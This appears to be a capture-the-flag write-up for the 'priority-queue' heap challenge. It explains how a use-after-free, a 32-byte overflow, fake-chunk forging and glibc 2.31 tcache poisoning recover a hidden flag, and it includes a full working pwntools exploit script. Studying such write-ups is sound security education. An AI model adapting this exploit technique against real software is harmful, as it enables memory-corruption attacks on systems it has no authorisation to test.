priority-queue
b01lersc
Task: a PIE binary implements a min-heap priority queue of heap-allocated strings, but it also mallocs the flag at startup and loses the pointer. Solution: combine a root use-after-free, a 32-byte heap overwrite, fake-chunk creation, and glibc 2.31 tcache poisoning to overlap the hidden flag allocation and print it.
$ ls tags/ techniques/
priority-queue — b01lersc (BCTF 2026)
Overview
ncat --ssl priority-queue.opus4-7.b01le.rs 8443
We are given a menu-driven priority queue of strings. At first glance it looks like a small heap challenge with insert, delete, peek, and edit operations. The important twist is in main(): the program opens flag.txt, allocates 100 bytes for it on the heap, reads the flag there, and then immediately loses the pointer.
So this is not a shell challenge. The goal is to recover an already allocated heap object that contains the flag.
The final exploit from solve.py uses three ideas:
- leak a heap pointer from freed
0x20tcache entries, - infer the hidden flag allocation from the stable startup allocation order,
- poison tcache to allocate a chunk overlapping
flag_ptr - 0x20, then makeputs()print through into the untouched flag string.
Files and environment
Relevant files:
chall— target binarychall.c— source codesolve.py— working exploitlibc.so.6— Debian GLIBC 2.31-13+deb11u13Dockerfile— remote packaging
Binary protections:
- PIE enabled
- Partial RELRO
- NX enabled
- no stack canary
Allocator detail that matters most: the provided libc is glibc 2.31, so tcache has no safe-linking. That makes classic tcache poisoning practical once we can overwrite a freed chunk's next pointer.
Source analysis
The challenge source is short enough to understand fully.
Hidden flag allocation
At startup:
FILE *file = fopen("flag.txt", "r"); if (file) { char *flag = malloc(100); fgets(flag, 100, file); fclose(file); }
The flag is read into a heap chunk, but flag is a local variable and is never stored anywhere global. After main() continues, that heap object still exists, but the program has no reference to it anymore.
That means exploitation is about heap recovery, not code execution.
Queue representation
The queue is a min-heap of char * pointers:
char **array; int capacity; int size;
Insertion allocates strlen(buffer) + 1 bytes for each string and stores the pointer in array[size]. Heap order is maintained by move_up() and move_down(), both of which compare nodes with strcmp().
So the priority queue root is always the lexicographically smallest string.
This ordering matters a lot during exploitation, because all dangerous operations (delete, peek, edit) act on array[0], the current root. If we want to corrupt or read a particular chunk, we must keep that chunk as the smallest string at the right moment.
Vulnerability analysis
1. Use-after-free in delete()
void delete(void) { if (size == 0) { puts("Queue is empty!"); return; } puts(array[0]); free(array[0]); array[0] = array[--size]; move_down(0); }
The root node is freed immediately. After that, queue state is still updated based on the remaining entries. This alone is already risky because the root pointer was still actively part of the heap structure until the update completed.
In practice, the exploit uses repeated deletions and the queue reordering rules to put freed small chunks into tcache while keeping a controllable remaining root.
2. Unbounded root edit
void edit(void) { if (size == 0) { puts("Queue is empty!"); return; } puts("Message: "); read(fileno(stdin), array[0], 32); move_down(0); }
This is the main memory corruption primitive. edit() always writes 32 bytes into the current root chunk, with no check against the chunk's actual size.
For tiny queue entries such as one-character strings, insertion does:
malloc(strlen(buffer) + 1)
So a one-byte string like "a" allocates 2 user bytes, which becomes a 0x20 chunk on glibc 2.31. Writing 32 bytes into such a chunk is a strong heap overflow and also allows reading allocator metadata back later with puts().
3. Small-chunk behavior is ideal for tcache abuse
The exploit intentionally uses one-character strings. On this libc, those all live in the same 0x20 tcache bin. That gives two useful properties:
- freed entries chain together through their user data,
- later allocations of the same size predictably reuse those chunks.
Heap layout and initial leak
The exploit relies on a stable early allocation order:
flag = malloc(100)array = calloc(8, sizeof(char *))- first inserted 1-byte string
- second inserted 1-byte string
- third inserted 1-byte string
The local debugging helpers confirmed that this order is stable enough, and the distance from the third tiny chunk back to the hidden flag chunk is constant in the target layout:
flag_ptr = leaked_chunk - 0x100
Leaking a heap pointer from tcache
The first stage of solve.py is:
ins(io, b"c") ins(io, b"b") ins(io, b"a") dele(io) dele(io) edit(io, b"K" * 32) leak_out = peek(io) c_ptr = u64(leak_out[32:].split(b"\n", 1)[0].ljust(8, b"\x00")) flag_ptr = c_ptr - 0x100
Why this works:
- Because the queue is a min-heap ordered by
strcmp, insertingc,b,aputsaat the root. - Deleting twice frees two
0x20chunks into tcache. - One remaining tiny root chunk is still editable and printable.
- The 32-byte
edit()overflows across chunk contents and letspeek()print past the nominal string boundary. - In freed
0x20chunks, the user area contains tcache forward pointers, so the over-read reveals a heap pointer.
The leaked pointer corresponds to the third tiny chunk in the freed chain. From the known allocation order, the script infers the hidden flag location as c_ptr - 0x100.
Why priority-queue ordering matters
This challenge would be much easier with direct indexing, but the interface only exposes the root. That means exploitation is constrained by lexicographic ordering.
Two consequences matter:
- The chunk we want to edit must be the smallest string. After every corruption,
move_down(0)runs again, so the content we write can change which pointer stays at the root. - Free order is not arbitrary.
delete()always removes the current smallest string, so if we want specific chunks placed into tcache in a useful order, we must choose contents so the queue frees them in the right sequence.
That is why the exploit uses carefully chosen one-byte labels like a, b, c, then later d, e, f, y, z, and so on. The names are not cosmetic; they control which pointer becomes root and therefore which real heap chunk the menu operation touches next.
Exploitation strategy
After leaking flag_ptr, the exploit builds an overlapping allocation and then poisons tcache.
Stage 1: prepare neighboring tiny chunks
The script allocates three more one-byte strings:
ins(io, b"e") ins(io, b"d") ins(io, b"f")
All of them are again 0x20 chunks.
Stage 2: forge a fake 0x30 chunk
The next three edits are the core heap-header corruption:
edit(io, b"A" * 16 + p64(0) + p64(0x31)) edit(io, b"z" * 16 + p64(0) + p64(0x31)) edit(io, b"y" * 8 + p64(0x21) + p64(0) + p64(0x21))
These 32-byte writes overflow out of one tiny chunk and into neighboring chunk metadata. The goal is to make glibc later believe one adjacent region is a valid 0x30-sized free chunk.
The important subtlety is that the overflow also reaches the next real chunk header. If we only forged the fake 0x30 size and left the following metadata damaged, glibc consistency checks would eventually fail when that next chunk was freed or reused.
So the exploit does two things at once:
- create the fake larger chunk needed for overlap,
- restore the next real chunk's header to a sane
0x21value.
That repair step is why the final edit writes:
b"y" * 8 + p64(0x21) + p64(0) + p64(0x21)
It is not just corruption; it is controlled corruption with header repair. Without repairing the next real chunk, the allocator would crash before the poisoning stage.
Stage 3: free in queue-compatible order
The exploit then frees three chunks in the only order the priority queue allows:
dele(io) # fake-sized B / string 'e' dele(io) # real F / string 'f' dele(io) # real E / string starts with 'y'
Again, the queue ordering matters. We do not call free() on arbitrary pointers; we can only delete the smallest current string. The earlier content choices make this order compatible with both the queue logic and the desired tcache state.
After these frees, tcache contains entries that will let us first recover the forged 0x30 chunk and then overwrite a freed chunk's next pointer.
Stage 4: allocate overlap and poison tcache
Now the exploit allocates into the fake chunk and writes a forged tcache forward pointer:
target = flag_ptr - 0x20 target_low6 = p64(target)[:6] overlap = b"y" * 0x20 + target_low6 ins(io, overlap)
Because glibc 2.31 has no safe-linking, overwriting the freed chunk's next pointer is enough. The target is flag_ptr - 0x20, not flag_ptr itself, because malloc returns the user pointer after the chunk header. We want the next allocation to produce a chunk whose user area starts exactly where it can overlap the hidden flag allocation.
The script only writes the low 6 bytes of the pointer. On x86-64 Linux userland heaps, the high bytes are predictable enough for this setting, so that is sufficient.
There is one practical complication: some random low bytes are unusable because the input path involves scanf("%127s", ...) for inserts. Bytes such as NUL, newline, and whitespace-like terminators would break delivery. The exploit therefore retries remote sessions until target_low6 contains only acceptable bytes.
bad = set(b"\x00\x09\x0a\x0b\x0c\x0d\x20") if any(b in bad for b in target_low6): ... retry ...
Stage 5: land on the flag chunk and print through it
Once the poisoned tcache entry is in place, the script performs two more allocations:
ins(io, b"h") ins(io, b"!")
The first consumes the real tcache entry. The second returns a chunk at the poisoned target, i.e. at flag_ptr - 0x20.
Finally:
edit(io, b"Q" * 32) out = peek(io)
Why does this reveal the flag?
- the forged chunk begins 0x20 bytes before the hidden flag buffer,
- writing 32 bytes of
Qfills exactly that prefix region, puts()starts printing from the forged chunk's user pointer,- after the 32
Qbytes, the next bytes in memory are the untouched flag string, - so the output becomes
QQQQ...QQQbctf{...}and the regex extracts the flag.
This is a nice end-state because it does not need code execution, libc leaks, or FILE-structure abuse. We just make the program print from a pointer that now overlaps the secret heap object.
Exploit script explanation
The full solve.py is compact because the exploit path is very direct.
Helper functions
ins()sendsinsertand a stringdele()sendsdeleteedit()sends raw bytes for the 32-byte overwritepeek()prints the current root string
attempt() flow
- create
c,b,a - delete twice and leak a heap pointer from tcache metadata
- compute
flag_ptr = c_ptr - 0x100 - reject unlucky targets whose low bytes contain
scanfterminators - allocate
e,d,f - corrupt chunk headers to create a fake
0x30chunk and repair the next header - free chunks in queue-compatible order
- allocate overlap and poison
nexttoflag_ptr - 0x20 - allocate twice to land on the poisoned target
- write 32
Qbytes and callpeek()to print into the flag
Why retries were necessary remotely
The exploit is mostly deterministic once the heap layout is known, but the chosen poisoned pointer must be injected through string-based input. Some target byte patterns include:
0x00- newline
- tab and other whitespace terminators
- space
Those bytes would terminate scanf("%s") input early or otherwise prevent correct poisoning data from being stored. So the solver simply reconnects until the chosen heap address has usable low bytes.
Full working exploit
#!/usr/bin/env python3 from pwn import * import re import sys context.binary = ELF("./chall", checksec=False) context.log_level = "info" HOST = "priority-queue.opus4-7.b01le.rs" PORT = 8443 PROMPT = b"Operation (insert/delete/peek/edit/count/quit): \n" MSG = b"Message: \n" FLAG_RE = re.compile(rb"bctf\{[^\n]+\}") def start(): if args.LOCAL: return remote("127.0.0.1", 31337) return remote(HOST, PORT, ssl=True, sni=HOST) def ins(io, data: bytes): io.sendline(b"insert") io.sendafter(MSG, data + b"\n") io.recvuntil(PROMPT) def dele(io) -> bytes: io.sendline(b"delete") return io.recvuntil(PROMPT, drop=True) def edit(io, data: bytes): io.sendline(b"edit") io.sendafter(MSG, data) io.recvuntil(PROMPT) def peek(io) -> bytes: io.sendline(b"peek") return io.recvuntil(PROMPT, drop=True) def attempt(): io = start() try: io.recvuntil(PROMPT) # Stage 1: leak the third freed 0x20 chunk pointer from the tcache chain. ins(io, b"c") ins(io, b"b") ins(io, b"a") dele(io) dele(io) edit(io, b"K" * 32) leak_out = peek(io) c_ptr = u64(leak_out[32:].split(b"\n", 1)[0].ljust(8, b"\x00")) flag_ptr = c_ptr - 0x100 target = flag_ptr - 0x20 target_low6 = p64(target)[:6] bad = set(b"\x00\x09\x0a\x0b\x0c\x0d\x20") if any(b in bad for b in target_low6): log.warning(f"bad target bytes for {hex(target)}; retrying") io.close() return None log.info(f"c_ptr = {hex(c_ptr)}") log.info(f"flag_ptr = {hex(flag_ptr)}") log.info(f"target = {hex(target)}") # Stage 2: forge a fake 0x30 chunk at B and preserve F's header. ins(io, b"e") ins(io, b"d") ins(io, b"f") edit(io, b"A" * 16 + p64(0) + p64(0x31)) edit(io, b"z" * 16 + p64(0) + p64(0x31)) edit(io, b"y" * 8 + p64(0x21) + p64(0) + p64(0x21)) dele(io) # fake-sized B / string 'e' dele(io) # real F / string 'f' dele(io) # real E / string starts with 'y' # Stage 3: allocate the fake 0x30 chunk and poison E->next to target. overlap = b"y" * 0x20 + target_low6 assert len(overlap) == 0x26 ins(io, overlap) # Consume E, then get an allocation at target = flag-0x20. ins(io, b"h") ins(io, b"!") edit(io, b"Q" * 32) out = peek(io) m = FLAG_RE.search(out) io.close() return m.group(0).decode() if m else None except EOFError: io.close() return None def main(): tries = int(args.TRIES or 20) for i in range(1, tries + 1): log.info(f"attempt {i}/{tries}") flag = attempt() if flag: print(flag) return print("failed", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main()
Key indicators
Use this pattern when:
- a program allocates secret data on the heap early and then loses the pointer,
- only very small user chunks are exposed, making
0x20tcache bins easy to fill and reuse, - a menu operation always edits or prints the root/current object, so object ordering becomes part of the exploit,
- a fixed-size read writes far past the end of tiny heap strings,
- the target libc is pre-safe-linking glibc, making tcache poisoning straightforward after a metadata overwrite.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][Pro]pwn10_nosoeasy — No-So-Easy: tcache poison → GOT overwrite— spbctf
- [pwn][Pro]iz_heap_lv1 — BSS-pointer overlap + tcache poisoning— spbctf
- [pwn][Pro]pwn9_mc4 — Mic Check: leak and pwn!— spbctf
- [pwn][Pro]Taste— grodno_new_year_2026
- [pwn][Pro]pwn8_logger — logger_easy!(not) — UAF/alias + tcache poison— spbctf